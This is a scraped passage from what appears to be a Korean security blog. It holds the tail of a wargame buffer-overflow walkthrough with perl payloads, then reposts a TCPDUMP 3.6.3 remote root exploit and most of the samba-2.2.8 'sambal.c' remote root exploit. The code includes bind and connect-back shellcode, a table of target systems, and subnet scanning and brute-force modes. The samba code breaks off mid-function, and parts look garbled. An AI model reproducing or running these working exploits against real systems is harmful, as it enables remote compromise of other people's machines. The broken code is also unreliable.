access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY)      = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=28384, ...}) = 0
old_mmap(NULL, 28384, PROT_READ, MAP_PRIVATE, 3, 0) = 0xf6ff9000
close(3)                                = 0
open("/lib/tls/libc.so.6", O_RDONLY)    = 3
read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0 \17s\000"..., 512) = 512
fstat64(3, {st_mode=S_IFREG|0755, st_size=1512400, ...}) = 0
old_mmap(0x71c000, 1207532, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x71c000
old_mmap(0x83d000, 16384, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x120000) = 0x83d000
old_mmap(0x841000, 7404, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x841000
close(3)                                = 0
old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xf6ff8000
mprotect(0x83d000, 8192, PROT_READ)     = 0
mprotect(0x718000, 4096, PROT_READ)     = 0
set_thread_area({entry_number:-1 -> 6, base_addr:0xf6ff8940, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0
munmap(0xf6ff9000, 28384)               = 0
fstat64(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 1), ...}) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xf6fff000
write(1, "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"..., 280aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaAA‘Tz
) = 280
execve("<íƒ", [0], [/* 1 var */])       = -1 ENOENT (No such file or directory)
--- SIGSEGV (Segmentation fault) @ 0 (0) ---
+++ killed by SIGSEGV +++


이 내용을 텍스트 파일로 저장하고 헥사 값으로 열어보자. 


[gate@Fedora_1stFloor ~]$ strace ./iron_golem  `perl -e 'print "a"x268,"\x41\x84\x04\x08"x2,"\x91\x54\x7a\x00"'` 2> res00.txt
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaAA‘Tz
[gate@Fedora_1stFloor ~]$xxd res00.txt

execve 가 호출된 부분만을 보면 아래와 같다. 

[gate@Fedora_1stFloor ~]$ xxd res00.txt  | grep cve
0000000: 6578 6563 7665 2822 2e2f 6972 6f6e 5f67  execve("./iron_g
0000760: 7865 6376 6528 223c ed83 222c 205b 305d  xecve("<..", [0]
[gate@Fedora_1stFloor ~]$


0x22 가 " 를 의미하는 헥사 코드 이므로 그 사이에 있는 3c ed 83  헥사 코드가 인자 값으로 들어가 있는 부분이다.

이를 다시 심볼릭 링크걸어보고 공격해 보자. 


[gate@Fedora_1stFloor ~]$ ln -s symbolic_link `perl -e 'print "\x3c\xed\x83"'`

[gate@Fedora_1stFloor ~]$ ./iron_golem  `perl -e 'print "a"x268,"\x41\x84\x04\x08"x2,"\x91\x54\x7a\x00"'`

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaAA‘Tz

[501]

sh-3.00$ id

uid=501(iron_golem) gid=500(gate) groups=500(gate) context=user_u:system_r:unconfined_t

sh-3.00$

sh-3.00$ my-pass
euid = 501
blood on the fedora
sh-3.00$



















Posted by k1rha
2012. 5. 11. 09:54

/*


 * TCPDUMP 3.6.3 remote root exploit 


 *


 * tested against FreeBSD-4.6


 *


 * By: icesk


 *


 * Greets: meenor, optik, scsiu, stanly


 * flames: ezoons (homo)


 */




#include <stdio.h>


#include <netinet/in.h>


#include <sys/types.h>


#include <sys/socket.h>


#include <netdb.h>


#include <arpa/inet.h>




#define ADDR0xbffff248


#define OFFSET 0


#define NUM_ADDR  10


#define NOP 0x90


#define NUM_NOP100




#define RX_CLIENT_INITIATED  1


#define RX_PACKET_TYPE_DATA  1


#define FS_RX_DPORT 7000


#define FS_RX_SPORT 7001


#define AFS_CALL 134




struct rx_header {


  u_int32_t epoch;


  u_int32_t cid;


  u_int32_t callNumber;


  u_int32_t seq;


  u_int32_t serial;


  u_char type;


  u_char flags;


  u_char userStatus;


  u_char securityIndex;


  u_short spare;


  u_short serviceId;


};




char shellcode[] = 


  "\xeb\x57\x5e\xb3\x21\xfe\xcb\x88\x5e\x2c\x88\x5e\x23"


  "\x88\x5e\x1f\x31\xdb\x88\x5e\x07\x46\x46\x88\x5e\x08"


  "\x4e\x4e\x88\x5e\xFF\x89\x5e\xfc\x89\x76\xf0\x8d\x5e"


  "\x08\x89\x5e\xf4\x83\xc3\x03\x89\x5e\xf8\x8d\x4e\xf0"


  "\x89\xf3\x8d\x56\xfc\x31\xc0\xb0\x0e\x48\x48\x48\xcd"


  "\x80\x31\xc0\x40\x31\xdb\xcd\x80\xAA\xAA\xAA\xAA\xBB"


  "\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xDD\xDD\xDD\xDD\xe8\xa4"


  "\xff\xff\xff"


  "/bin/shZ-cZ/usr/X11R6/bin/xtermZ-utZ-displayZ";




long resolve(char *name)


{


  struct hostent *hp;


  long ip;




  if ((ip=inet_addr(name))==-1) {


    if ((hp=gethostbyname(name))==NULL) {


      fprintf (stderr,"Can't resolve host name [%s].\n",name);


      exit(-1);


    }


    memcpy(&ip,(hp->h_addr),4);


  }


  return(ip);


}




int


main(int argc, char *argv[])


{


  struct sockaddr_in addr,sin;


  int sock,aux, offset=OFFSET;


  char buffer[4048], *chptr;


  struct rx_header *rxh;


  long int *lptr, return_addr=ADDR;




  fprintf(stderr, "Tcpdump 3.6.3 remote exploit against FreeBSD 4.6\n\n");




  if (argc<3) {


    printf("Usage: %s [host] [display] [offset]\n",argv[0]);


    exit(-1);


  }




  if (argc==4) offset=atoi(argv[3]);


  return_addr+=offset;




  fprintf(stderr,"Using return addr: %#x\n",return_addr);




  addr.sin_family=AF_INET;


  addr.sin_addr.s_addr=resolve(argv[1]);


  addr.sin_port=htons(FS_RX_DPORT);




  if ((sock=socket(AF_INET, SOCK_DGRAM,0))<0) {


    perror("socket()");


    exit(-1);


  }




  sin.sin_family=AF_INET;


  sin.sin_addr.s_addr=INADDR_ANY;


  sin.sin_port=htons(FS_RX_SPORT);




  if (bind(sock,(struct sockaddr*)&sin,sizeof(sin))<0) {


    perror("bind()");


    exit(-1);


  }




  memset(buffer,0,sizeof(buffer));


  rxh=(struct rx_header *)buffer;




  rxh->type=RX_PACKET_TYPE_DATA;


  rxh->seq=htonl(1);


  rxh->flags=RX_CLIENT_INITIATED;




  lptr=(long int *)(buffer+sizeof(struct rx_header));


  *(lptr++)=htonl(AFS_CALL);


  *(lptr++)=htonl(1);


  *(lptr++)=htonl(2);


  *(lptr++)=htonl(3);




  *(lptr++)=htonl(420);


  chptr=(char *)lptr;


  sprintf(chptr,"1 0\n");


  chptr+=4;




  memset(chptr,'A',120);


  chptr+=120;


  lptr=(long int *)chptr;


  for (aux=0;aux<NUM_ADDR;aux++) *(lptr++)=return_addr;


  chptr=(char *)lptr;


  memset(chptr,NOP,NUM_NOP);


  chptr+=NUM_NOP;


  shellcode[30]=(char)(46+strlen(argv[2]));


  memcpy(chptr,shellcode,strlen(shellcode));


  chptr+=strlen(shellcode);


  memcpy(chptr,argv[2],strlen(argv[2]));


  chptr+=strlen(argv[2]);




  sprintf(chptr," 1\n");




  if (sendto(sock,buffer,520,0,&addr,sizeof(addr))==-1)


  {


    perror("send()");


    exit(-1);


  }




  fprintf(stderr,"Packet Sent Waiting For Xterm!!!\n\n");




  close(sock);


  return(0);


}




Posted by k1rha
2012. 5. 11. 09:53

/*           _ ________            _____                        ______

    __ ___ ____       /____.------`    /_______.------.___.----`  ___/____ _______

         _/    \ _   /\   __.  __//   ___/_    ___.  /_\    /_    |     _/

   ___ ._\    . \\  /__  _____/ _    /     \_  |    /__      |   _| slc | _____ _

      - -------\______||--._____\---._______//-|__    //-.___|----._____||

      / \   /

                                                   \/

[*] samba-2.2.8 < remote root exploit                 by eSDee (www.netric.org|be)

    ------------------------------------------------------------------------------


    sambal.c is a remote root exploit for samba 2.2.x and prior that works against 

    Linux (all distros), FreeBSD (4.x, 5.x), NetBSD (1.x) and OpenBSD (2.x, 3.x 

    and 3.2-non exec stack). It has a scan option, so you can easily identify your 

    lost samba boxes on your home WAN...


    It began with the creation of the great buffer.

    Four bytes were written to it to mark the beginning of it.

    Seven bytes were written to store all information.

    And nine, nine bytes were written to the end to assure a long enough buffer.

    For within this buffer, it could harbor all required user input.

    But they were all deceived, for another byte was written.

    Inside the Memory, in the heart of the stack. The user input was long enough

    to write a master byte. To control the entire buffer, and into this byte, the user

    poured his cruelty, his malice and his will to dominate it all!


    One byte to rule them all.... 


    Copyright (c) 2003 Netric Security

    All rights reserved.


    THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR IMPLIED

    WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF

    MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.



[*] The bug


    in /source/smbd/trans2.c on line 250 - function: call_trans2open() :


    namelen = strlen(pname)+1;

    StrnCpy(fname,pname,namelen); 




[*] MyFirstStachelNET(tm) - howto - 


    sambal.c is able to identify samba boxes. It will send a netbios

    name packet to port 137. If the box responds with the mac address

    00-00-00-00-00-00, it's probally running samba.

 

    [esdee@embrace esdee]$ ./sambal -d 0 -C 60 -S 192.168.0

    samba-2.2.8 < remote root exploit by eSDee (www.netric.org|be)

    --------------------------------------------------------------

    + Scan mode.

    + [192.168.0.3] Samba

    + [192.168.0.10] Windows

    + [192.168.0.20] Windows

    + [192.168.0.21] Samba

    + [192.168.0.30] Windows

    + [192.168.0.31] Samba

    + [192.168.0.33] Windows

    + [192.168.0.35] Windows

    + [192.168.0.36] Windows

    + [192.168.0.37] Windows

    ...

    + [192.168.0.133] Samba


    Great!

    You could now try a preset (-t0 for a list), but most of the 

    time bruteforce will do. The smbd spawns a new process on every 

    connect, so we can bruteforce the return address...


    [esdee@embrace esdee]$ ./sambal -b 0 -v 192.168.0.133

    samba-2.2.8 < remote root exploit by eSDee (www.netric.org|be)

    --------------------------------------------------------------

    + Verbose mode.

    + Bruteforce mode. (Linux)

    + Using ret: [0xbffffed4]

    + Using ret: [0xbffffda8]

    + Using ret: [0xbffffc7c]

    + Using ret: [0xbffffb50]

    + Using ret: [0xbffffa24]

    + Using ret: [0xbffff8f8]

    + Using ret: [0xbffff7cc]

    + Worked!

    --------------------------------------------------------------

    *** JE MOET JE MUIL HOUWE

    Linux LittleLinux.selwerd.lan 2.4.18-14 #1 Wed Sep 4 11:57:57 EDT 2002 i586 i586 i386 GNU/Linux

    uid=0(root) gid=0(root) groups=99(nobody)



[*] Credits


    lynx, mike, sacrine, the_itch, tozz (for adding targets) 

    no1 (i ripped some parts from a subnet scanner) 



*/

  

#include <stdio.h>

#include <string.h>

#include <stdlib.h>

#include <netdb.h>

#include <errno.h>

#include <fcntl.h>

#include <signal.h>

#include <string.h>

#include <unistd.h>

#include <sys/select.h>

#include <sys/socket.h>

#include <sys/types.h>

#include <sys/time.h>

#include <sys/wait.h>

#include <netinet/in.h>

#include <arpa/inet.h>


typedef struct {

unsigned char type;

unsigned char flags;

unsigned short length;

} NETBIOS_HEADER;


typedef struct {

unsigned char protocol[4];

unsigned char command;

unsigned short status;

unsigned char reserved;

unsigned char  flags;

unsigned short flags2;

unsigned char  pad[12];

unsigned short tid;

unsigned short pid;

unsigned short uid;

unsigned short mid;

} SMB_HEADER;

int OWNED = 0;

pid_t childs[100];

struct sockaddr_in addr1;

struct sockaddr_in addr2;


char

linux_bindcode[] =

        "\x31\xc0\x31\xdb\x31\xc9\x51\xb1\x06\x51\xb1\x01\x51\xb1\x02\x51"

        "\x89\xe1\xb3\x01\xb0\x66\xcd\x80\x89\xc1\x31\xc0\x31\xdb\x50\x50"

        "\x50\x66\x68\xb0\xef\xb3\x02\x66\x53\x89\xe2\xb3\x10\x53\xb3\x02"

        "\x52\x51\x89\xca\x89\xe1\xb0\x66\xcd\x80\x31\xdb\x39\xc3\x74\x05"

        "\x31\xc0\x40\xcd\x80\x31\xc0\x50\x52\x89\xe1\xb3\x04\xb0\x66\xcd"

        "\x80\x89\xd7\x31\xc0\x31\xdb\x31\xc9\xb3\x11\xb1\x01\xb0\x30\xcd"

        "\x80\x31\xc0\x31\xdb\x50\x50\x57\x89\xe1\xb3\x05\xb0\x66\xcd\x80"

        "\x89\xc6\x31\xc0\x31\xdb\xb0\x02\xcd\x80\x39\xc3\x75\x40\x31\xc0"

        "\x89\xfb\xb0\x06\xcd\x80\x31\xc0\x31\xc9\x89\xf3\xb0\x3f\xcd\x80"

        "\x31\xc0\x41\xb0\x3f\xcd\x80\x31\xc0\x41\xb0\x3f\xcd\x80\x31\xc0"

        "\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x8b\x54\x24"

        "\x08\x50\x53\x89\xe1\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80\x31\xc0"

        "\x89\xf3\xb0\x06\xcd\x80\xeb\x99";


char

bsd_bindcode[] =

"\x31\xc0\x31\xdb\x53\xb3\x06\x53\xb3\x01\x53\xb3\x02\x53\x54\xb0"

"\x61\xcd\x80\x89\xc7\x31\xc0\x50\x50\x50\x66\x68\xb0\xef\xb7\x02"

"\x66\x53\x89\xe1\x31\xdb\xb3\x10\x53\x51\x57\x50\xb0\x68\xcd\x80"

"\x31\xdb\x39\xc3\x74\x06\x31\xc0\xb0\x01\xcd\x80\x31\xc0\x50\x57"

"\x50\xb0\x6a\xcd\x80\x31\xc0\x31\xdb\x50\x89\xe1\xb3\x01\x53\x89"

"\xe2\x50\x51\x52\xb3\x14\x53\x50\xb0\x2e\xcd\x80\x31\xc0\x50\x50"

"\x57\x50\xb0\x1e\xcd\x80\x89\xc6\x31\xc0\x31\xdb\xb0\x02\xcd\x80"

"\x39\xc3\x75\x44\x31\xc0\x57\x50\xb0\x06\xcd\x80\x31\xc0\x50\x56"

"\x50\xb0\x5a\xcd\x80\x31\xc0\x31\xdb\x43\x53\x56\x50\xb0\x5a\xcd"

"\x80\x31\xc0\x43\x53\x56\x50\xb0\x5a\xcd\x80\x31\xc0\x50\x68\x2f"

"\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x54\x53\x50\xb0\x3b"

"\xcd\x80\x31\xc0\xb0\x01\xcd\x80\x31\xc0\x56\x50\xb0\x06\xcd\x80"

"\xeb\x9a";


char

linux_connect_back[] =

"\x31\xc0\x31\xdb\x31\xc9\x51\xb1\x06\x51\xb1\x01\x51\xb1\x02\x51"

"\x89\xe1\xb3\x01\xb0\x66\xcd\x80\x89\xc2\x31\xc0\x31\xc9\x51\x51"

"\x68\x41\x42\x43\x44\x66\x68\xb0\xef\xb1\x02\x66\x51\x89\xe7\xb3"

"\x10\x53\x57\x52\x89\xe1\xb3\x03\xb0\x66\xcd\x80\x31\xc9\x39\xc1"

"\x74\x06\x31\xc0\xb0\x01\xcd\x80\x31\xc0\xb0\x3f\x89\xd3\xcd\x80"

"\x31\xc0\xb0\x3f\x89\xd3\xb1\x01\xcd\x80\x31\xc0\xb0\x3f\x89\xd3"

"\xb1\x02\xcd\x80\x31\xc0\x31\xd2\x50\x68\x6e\x2f\x73\x68\x68\x2f"

"\x2f\x62\x69\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80\x31\xc0\xb0"

"\x01\xcd\x80"; 


char

bsd_connect_back[] =

        "\x31\xc0\x31\xdb\x53\xb3\x06\x53\xb3\x01\x53\xb3\x02\x53\x54\xb0"

        "\x61\xcd\x80\x31\xd2\x52\x52\x68\x41\x41\x41\x41\x66\x68\xb0\xef"

        "\xb7\x02\x66\x53\x89\xe1\xb2\x10\x52\x51\x50\x52\x89\xc2\x31\xc0"

        "\xb0\x62\xcd\x80\x31\xdb\x39\xc3\x74\x06\x31\xc0\xb0\x01\xcd\x80"

        "\x31\xc0\x50\x52\x50\xb0\x5a\xcd\x80\x31\xc0\x31\xdb\x43\x53\x52"

        "\x50\xb0\x5a\xcd\x80\x31\xc0\x43\x53\x52\x50\xb0\x5a\xcd\x80\x31"

        "\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x54"

        "\x53\x50\xb0\x3b\xcd\x80\x31\xc0\xb0\x01\xcd\x80";




struct {

        char *type;

        unsigned long ret;

char *shellcode;

int os_type; /* 0 = Linux, 1 = FreeBSD/NetBSD, 2 = OpenBSD non-exec stack */


} targets[] = {

{ "samba-2.2.x - Debian 3.0           ", 0xbffffea2, linux_bindcode, 0 },

{ "samba-2.2.x - Gentoo 1.4.x         ", 0xbfffe890, linux_bindcode,    0 },

{ "samba-2.2.x - Mandrake 8.x         ", 0xbffff6a0, linux_bindcode, 0 },

{ "samba-2.2.x - Mandrake 9.0         ", 0xbfffe638, linux_bindcode, 0 },

        { "samba-2.2.x - Redhat 9.0           ", 0xbffff7cc, linux_bindcode,    0 },

        { "samba-2.2.x - Redhat 8.0           ", 0xbffff2f0, linux_bindcode, 0 },

{ "samba-2.2.x - Redhat 7.x           ", 0xbffff310, linux_bindcode, 0 },

{ "samba-2.2.x - Redhat 6.x           ", 0xbffff2f0, linux_bindcode, 0 },

{ "samba-2.2.x - Slackware 9.0        ", 0xbffff574, linux_bindcode, 0 },

{ "samba-2.2.x - Slackware 8.x        ", 0xbffff574, linux_bindcode,    0 },

{ "samba-2.2.x - SuSE 7.x             ", 0xbffffbe6, linux_bindcode,   0 }, 

{ "samba-2.2.x - SuSE 8.x             ", 0xbffff8f8, linux_bindcode,    0 },

{ "samba-2.2.x - FreeBSD 5.0          ", 0xbfbff374, bsd_bindcode,     1 },

{ "samba-2.2.x - FreeBSD 4.x          ", 0xbfbff374, bsd_bindcode, 1 },

{ "samba-2.2.x - NetBSD 1.6           ", 0xbfbfd5d0, bsd_bindcode, 1 },

{ "samba-2.2.x - NetBSD 1.5           ", 0xbfbfd520, bsd_bindcode,      1 },

{ "samba-2.2.x - OpenBSD 3.2          ", 0x00159198, bsd_bindcode, 2 },

{ "samba-2.2.8 - OpenBSD 3.2 (package)", 0x001dd258, bsd_bindcode,      2 },

{ "samba-2.2.7 - OpenBSD 3.2 (package)", 0x001d9230, bsd_bindcode,      2 },

{ "samba-2.2.5 - OpenBSD 3.2 (package)", 0x001d6170, bsd_bindcode,      2 },

        { "Crash (All platforms)              ", 0xbade5dee, linux_bindcode, 0 },

};


void shell();

void usage();

void handler();


int is_samba(char *ip, unsigned long time_out);

int Connect(int fd, char *ip, unsigned int port, unsigned int time_out);

int read_timer(int fd, unsigned int time_out);

int write_timer(int fd, unsigned int time_out);

int start_session(int sock);

int exploit_normal(int sock, unsigned long ret, char *shellcode);

int exploit_openbsd32(int sock, unsigned long ret, char *shellcode);


void 

usage(char *prog)

{

        fprintf(stderr, "Usage: %s [-bBcCdfprsStv] [host]\n\n"

        "-b <platform>   bruteforce (0 = Linux, 1 = FreeBSD/NetBSD, 2 = OpenBSD 3.1 and prior, 3 = OpenBSD 3.2)\n"

"-B <step>       bruteforce steps (default = 300)\n"

"-c <ip address> connectback ip address\n"

"-C <max childs> max childs for scan/bruteforce mode (default = 40)\n"

"-d <delay>      bruteforce/scanmode delay in micro seconds (default = 100000)\n"

"-f              force\n" 

        "-p <port>       port to attack (default = 139)\n"

"-r <ret>        return address\n"

"-s              scan mode (random)\n"

"-S <network>    scan mode\n"

"-t <type>       presets (0 for a list)\n" 

"-v              verbose mode\n\n", prog);

        

        exit(1);

}


int

is_samba(char *ip, unsigned long time_out)

{

char

nbtname[]= /* netbios name packet */

{

        0x80,0xf0,0x00,0x10,0x00,0x01,0x00,0x00,

        0x00,0x00,0x00,0x00,0x20,0x43,0x4b,0x41,

        0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,

        0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,

        0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,

        0x41,0x41,0x41,0x41,0x41,0x00,0x00,0x21,

        0x00,0x01

};


        unsigned char recv_buf[1024];

unsigned char *ptr;


int i = 0;

int s = 0;


unsigned int total = 0;


        if ((s = socket(PF_INET, SOCK_DGRAM, 17)) <= 0) return -1;


if(Connect(s, ip, 137, time_out) == -1) {

close(s);

return -1;

memset(recv_buf, 0x00, sizeof(recv_buf));


if(write_timer(s, time_out) == 1) {

if (write(s, nbtname, sizeof(nbtname)) <= 0) {

  close(s);

return -1;

}

}


if (read_timer(s, time_out) == 1) {

if (read(s, recv_buf, sizeof(recv_buf)) <= 0) {

close(s);

return -1;

}


        ptr = recv_buf + 57;

  total = *(ptr - 1); /* max names */

        while(ptr < recv_buf + sizeof(recv_buf)) {

              ptr += 18;

if (i == total) {


ptr -= 19;


if ( *(ptr + 1) == 0x00 && *(ptr + 2) == 0x00 && *(ptr + 3) == 0x00 &&

              *(ptr + 4) == 0x00 && *(ptr + 5) == 0x00 && *(ptr + 6) == 0x00) {

close(s);

return 0;

}


close(s);

return 1;

}


i++;

}


}

close(s);

return -1;

}


int 

Connect(int fd, char *ip, unsigned int port, unsigned int time_out) 

{

/* ripped from no1 */


int                      flags;

int                      select_status;

fd_set                   connect_read, connect_write;

struct timeval           timeout;

int                      getsockopt_length = 0;

int                      getsockopt_error = 0;

struct sockaddr_in       server;

bzero(&server, sizeof(server));

server.sin_family = AF_INET;

inet_pton(AF_INET, ip, &server.sin_addr);

server.sin_port = htons(port);


if((flags = fcntl(fd, F_GETFL, 0)) < 0) {

close(fd);

    return -1;

  }

  

if(fcntl(fd, F_SETFL, flags | O_NONBLOCK) < 0) {

close(fd);

    return -1;

  }

 

timeout.tv_sec = time_out;

timeout.tv_usec = 0;

FD_ZERO(&connect_read);

FD_ZERO(&connect_write);

FD_SET(fd, &connect_read);

FD_SET(fd, &connect_write);


if((connect(fd, (struct sockaddr *) &server, sizeof(server))) < 0) {

if(errno != EINPROGRESS) {

      close(fd);

      return -1;

    }

  }

else {

if(fcntl(fd, F_SETFL, flags) < 0) {

close(fd);

      return -1;

    }

   

return 1;


}


select_status = select(fd + 1, &connect_read, &connect_write, NULL, &timeout);


if(select_status == 0) {

close(fd);

return -1;


}


if(select_status == -1) {

close(fd);

return -1;

}


if(FD_ISSET(fd, &connect_read) || FD_ISSET(fd, &connect_write)) {

if(FD_ISSET(fd, &connect_read) && FD_ISSET(fd, &connect_write)) {

getsockopt_length = sizeof(getsockopt_error);


if(getsockopt(fd, SOL_SOCKET, SO_ERROR, &getsockopt_error, &getsockopt_length) < 0) {

errno = ETIMEDOUT;

close(fd);

return -1;

}


if(getsockopt_error == 0) {

if(fcntl(fd, F_SETFL, flags) < 0) {

close(fd);

return -1;

}

return 1;

       } 


else {

errno = getsockopt_error;

close(fd);

return (-1);

}


}

}

else {

close(fd);

return 1;

}


if(fcntl(fd, F_SETFL, flags) < 0) {

close(fd);

return -1;

}

return 1;

}


int 

read_timer(int fd, unsigned int time_out)

{


/* ripped from no1 */


int                      flags;

int                      select_status;

fd_set                   fdread;

struct timeval           timeout;


if((flags = fcntl(fd, F_GETFL, 0)) < 0) {

close(fd);

return (-1);

}


if(fcntl(fd, F_SETFL, flags | O_NONBLOCK) < 0) {

close(fd);

return (-1);

}


timeout.tv_sec = time_out;

timeout.tv_usec = 0;

FD_ZERO(&fdread);

FD_SET(fd, &fdread);

select_status = select(fd + 1, &fdread, NULL, NULL, &timeout);


if(select_status == 0) {

close(fd);

return (-1);

}


if(select_status == -1) {

close(fd);

return (-1);

}

  

if(FD_ISSET(fd, &fdread)) {

  

  if(fcntl(fd, F_SETFL, flags) < 0) {

close(fd);

      return -1;

    }

   

return 1;

else {

close(fd);

return 1;


}

}


int

write_timer(int fd, unsigned int time_out)

{


/* ripped from no1 */


int                      flags;

int                      select_status;

fd_set                   fdwrite;

struct timeval           timeout;


if((flags = fcntl(fd, F_GETFL, 0)) < 0) {    

close(fd);

return (-1);

}

if(fcntl(fd, F_SETFL, flags | O_NONBLOCK) < 0) {

close(fd);

return (-1);

  }

 

timeout.tv_sec = time_out;

timeout.tv_usec = 0;

FD_ZERO(&fdwrite);

FD_SET(fd, &fdwrite);


select_status = select(fd + 1, NULL, &fdwrite, NULL, &timeout);


if(select_status == 0) {

close(fd);

return -1;

}

if(select_status == -1) {

close(fd);

return -1;

}


if(FD_ISSET(fd, &fdwrite)) {

if(fcntl(fd, F_SETFL, flags) < 0) {

close(fd);

return -1;

}

return 1;

}

else { 

close(fd);

return -1;

}

}



void 

shell(int sock)

{

        fd_set  fd_read;

        char buff[1024], *cmd="unset HISTFILE; echo \"*** JE MOET JE MUIL HOUWE\";uname -a;id;\n";

        int n;


        FD_ZERO(&fd_read);

        FD_SET(sock, &fd_read);

        FD_SET(0, &fd_read);


        send(sock, cmd, strlen(cmd), 0);


        while(1) {

                FD_SET(sock,&fd_read);

                FD_SET(0,&fd_read);


                if (select(FD_SETSIZE, &fd_read, NULL, NULL, NULL) < 0 ) break;


                if (FD_ISSET(sock, &fd_read)) {


                        if((n = recv(sock, buff, sizeof(buff), 0)) < 0){

                                fprintf(stderr, "EOF\n");

                                exit(2);

                        }


                        if (write(1, buff, n) < 0) break;

                }


                if (FD_ISSET(0, &fd_read)) {


                        if((n = read(0, buff, sizeof(buff))) < 0){

                                fprintf(stderr, "EOF\n");

                                exit(2);

                        }


                        if (send(sock, buff, n, 0) < 0) break;

                }


                usleep(10);

        }


        fprintf(stderr, "Connection lost.\n\n");

        exit(0);

}


void

handler()

{

int sock = 0;

int i = 0;

OWNED = 1;


        for (i = 0; i < 100; i++)

                if (childs[i] != 0xffffffff) waitpid(childs[i], NULL, 0);


        if ((sock = socket(AF_INET, SOCK_STREAM, 6)) < 0) {

                close(sock);

exit(1);

        }


        if(Connect(sock, (char *)inet_ntoa(addr1.sin_addr), 45295, 2) != -1) {

                fprintf(stdout, "+ Worked!\n"

                                "--------------------------------------------------------------\n");

                shell(sock);

                close(sock);

        }



}


int 

start_session(int sock)

{

char buffer[1000];

char response[4096];

char session_data1[] = "\x00\xff\x00\x00\x00\x00\x20\x02\x00\x01\x00\x00\x00\x00";

        char session_data2[] = "\x00\x00\x00\x00\x5c\x5c\x69\x70\x63\x24\x25\x6e\x6f\x62\x6f\x64\x79"

                 "\x00\x00\x00\x00\x00\x00\x00\x49\x50\x43\x24";

        NETBIOS_HEADER  *netbiosheader;

        SMB_HEADER      *smbheader;


memset(buffer, 0x00, sizeof(buffer));


        netbiosheader   = (NETBIOS_HEADER *)buffer;

        smbheader       = (SMB_HEADER *)(buffer + sizeof(NETBIOS_HEADER));


        netbiosheader->type = 0x00;         /* session message */

        netbiosheader->flags = 0x00;

        netbiosheader->length = htons(0x2E);


        smbheader->protocol[0] = 0xFF;

        smbheader->protocol[1] = 'S';

        smbheader->protocol[2] = 'M';

        smbheader->protocol[3] = 'B';

        smbheader->command = 0x73;         /* session setup */

        smbheader->flags = 0x08;         /* caseless pathnames */

        smbheader->flags2 = 0x01;         /* long filenames supported */

        smbheader->pid = getpid() & 0xFFFF;

smbheader->uid          = 100;

        smbheader->mid = 0x01;


        memcpy(buffer + sizeof(NETBIOS_HEADER) + sizeof(SMB_HEADER), session_data1, sizeof(session_data1) - 1);


if(write_timer(sock, 3) == 1)

if (send(sock, buffer, 50, 0) < 0) return -1;


memset(response, 0x00, sizeof(response));


if (read_timer(sock, 3) == 1)

if (read(sock, response, sizeof(response) - 1) < 0) return -1;

        netbiosheader = (NETBIOS_HEADER *)response;

        smbheader     = (SMB_HEADER *)(response + sizeof(NETBIOS_HEADER));


if (netbiosheader->type != 0x00) fprintf(stderr, "+ Recieved a non session message\n");


        netbiosheader   = (NETBIOS_HEADER *)buffer;

        smbheader       = (SMB_HEADER *)(buffer + sizeof(NETBIOS_HEADER));


        memset(buffer, 0x00, sizeof(buffer));


        netbiosheader->type     = 0x00;         /* session message */

        netbiosheader->flags    = 0x00;

        netbiosheader->length   = htons(0x3C);


        smbheader->protocol[0]  = 0xFF;

